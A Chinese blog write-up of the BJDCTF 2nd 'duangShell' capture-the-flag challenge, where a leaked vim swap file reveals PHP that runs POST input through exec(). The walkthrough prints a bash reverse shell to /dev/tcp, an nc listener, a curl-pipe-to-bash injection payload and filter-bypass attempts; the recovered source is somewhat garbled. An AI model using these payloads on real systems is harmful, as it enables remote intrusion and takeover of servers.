[BJDCTF 2nd]duangShell

 

[BJDCTF 2nd]duangShell

点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件

该文件产生的原因是:​使用vi编辑器打开文件时,会生成一个.文件名.swp的备份文件,防止意外退出等情况导致文件内容丢失。产生原因主要是管理员在web目录下修改代码文件,导致生成了.swp备份文件。

我们使用vim -r 文件名 来恢复内容,然后按下任意键就可以看到其中的代码了。

windows下我在git命令行里面进行操作的,

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</head>
<body>
    <center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
else {
    $girl $_POST['girl_friend'];
    if (preg_match('/\>|\\\/'$girl)) {
        die('just girl');          {
    else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i'$girl)) {
}      {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    else {
        //duangShell~~~~
        exec($girl);
    }
}
 
 
~
 
}

  观察源代码之后发现是绕过过滤之后命令执行的题目

因为过滤了$符号,所以不能采用这种黑名单拼接的方式绕过

1
a=ca;b=t;c=flag;$ab $c

  禁用了base64之后不能使用base64编码绕过

1
`echo "Y2F0IGZsYWc="|base64 -d`

  又想了一些奇怪的姿势,着实不行,看师傅们的博客吧。

这道题用到的是反弹shell,又涨知识了,关于反弹shell可以看先知上的这两篇文章:

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

接着我们申请一个小号,在basic开启一台内网主机,默认好像apache服务已经开启了,在/var/www/html 下写入反弹shell

1
bash -i >& /dev/tcp/[ip]/[port] 0>&1

  这里的ip是内网主机的ip,使用ifconfig可以查看,port自己指定,我这里使用的是4444

接着监听本地的4444端口

1
nc -lvvp 4444

  在题目珍爱网界面,POST数据为:

1
girl_friend=curl http://[ip]/[文件名]|bash

  

ip是内网主机的IP,文件名是在html文件夹下写入的反弹shell的文件名,我这里是shell.txt

因为题目没有禁止curl,让珍爱网题目PHP代码里的exec执行curl访问内网靶机的写有反弹shell命令的文件,使内网靶机获取到反弹shell。

获取到反弹shell之后,题目靶机根目录下有假的flag文件

使用linux 的find命令查找flag

1
find / -name *flag*

  等待一会就能看到真实flag所在的位置了,然后cat查看一下就能获取flag

获得flag

学习了反弹shell的一些操作

参考博客:

https://blog.csdn.net/qq_40648358/article/details/105011659

https://www.cnblogs.com/gaonuoqi/p/12602309.html

https://www.cnblogs.com/Konmu/p/12549038.html#bjdctf-2ndduangshell

最新文章

  1. POJ 1845 (约数和+二分等比数列求和)
  2. ElasticSearch文档-简单介绍
  3. JMeter学习(十四)JMeter监控Tomcat性能
  4. HDU 1026
  5. 我自己做的网站终于上线啦,用tornado做的,求围观 www.yustock.live
  6. 条款22 template method 模式
  7. [DevExpress]ChartControl之创建X,Y轴Title示例
  8. MAC机中安装RUBY环境
  9. C++例题1:输出可打印字符
  10. Light OJ 1027 - A Dangerous Maze(概率)
  11. JavaScript中的setAttribute用法
  12. Java7新特性
  13. 如何编译Apache Hadoop2.2.0源代码
  14. iOS安全攻防之结构体保护使用
  15. KVM环境安装macOS Sierra
  16. Lucene 4.X 全套教程
  17. blast | diamond 输出结果选择和解析 | 比对
  18. opencv:基于颜色空间的肤色检测方法
  19. 使用tqdm组件构造程序进度条
  20. C#中this的作用

热门文章

  1. Spring源码之@Lazy和预实例化
  2. 菜鸟试做GUI简单数据库查询界面 python+tkinter+mysql
  3. go-zero之web框架
  4. Docker与Ceph的分与合
  5. 初识redis协议
  6. Docker学习—Swarm
  7. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)
  8. bugkuCTFWEB部分WP
  9. Fruity Granulizer合成器功能简介
  10. 【移动自动化】【二】Appium